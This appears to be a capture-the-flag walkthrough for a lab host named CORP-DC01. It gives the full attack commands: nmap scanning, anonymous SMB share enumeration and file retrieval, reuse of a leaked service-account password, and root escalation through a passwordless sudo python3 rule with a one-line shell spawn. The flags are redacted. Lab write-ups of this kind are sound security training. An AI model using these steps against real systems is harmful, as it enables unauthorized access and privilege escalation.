CORP-DC01
✓ SOLVEDCorpNet CTF — Anonymous SMB → Credential Exposure → Backup Share → svc_sql → Privilege Escalation (Python3)
Overview
Guest-readable NETLOGON exposed logon scripts and credentials. A leaked service-account password unlocked a non-browseable backup share. The initial administrator SSH account was not Linux root; switching to svc_sql revealed a passwordless Python3 sudo rule that provided UID 0.
Recon — SSH & Samba
Service detection identified SSH on TCP 30022 plus Samba services on 30139 and 30445.
nmap -sV -p 30022,30139,30445 45.79.210.107Anonymous SMB — NETLOGON Exposure
Anonymous share enumeration disclosed NETLOGON, SYSVOL, and IPC$. NETLOGON was guest-readable and contained logon scripts plus user.txt. RPC enumeration also exposed the local/Samba accounts.
smbclient -L //45.79.210.107 -p 30445 -Nsmbclient //45.79.210.107/NETLOGON -p 30445 -N
ls
get login.bat
get svc_sql_map.bat
get user.txtflag{[REDACTED]}Restricted Backup Share
The svc_sql logon script disclosed the hidden IT-BACKUP share and a service-account password. Authenticated access exposed backup_creds.txt and a misleading root.txt.
smbclient //45.79.210.107/IT-BACKUP -p 30445 -U 'CORP\svc_sql'root.txt looked like a root flag but was rejected by the platform. Root access still had to be demonstrated on the host.Administrator SSH — Not Root
The leaked administrator credential worked over SSH, but the Linux account was UID 1000 with no sudo permission. The account name was a foothold, not the final privilege level.
ssh -p 30022 administrator@45.79.210.107
whoami
id
sudo -lPrivilege Escalation — svc_sql / Python3
Switching to the compromised svc_sql account and running sudo -l revealed passwordless root execution of /usr/bin/python3.
su - svc_sql
sudo -lsudo /usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
whoami
cat /root/root.txtflag{[REDACTED]}Attack Path
Both public flag values are redacted in the page and screenshots.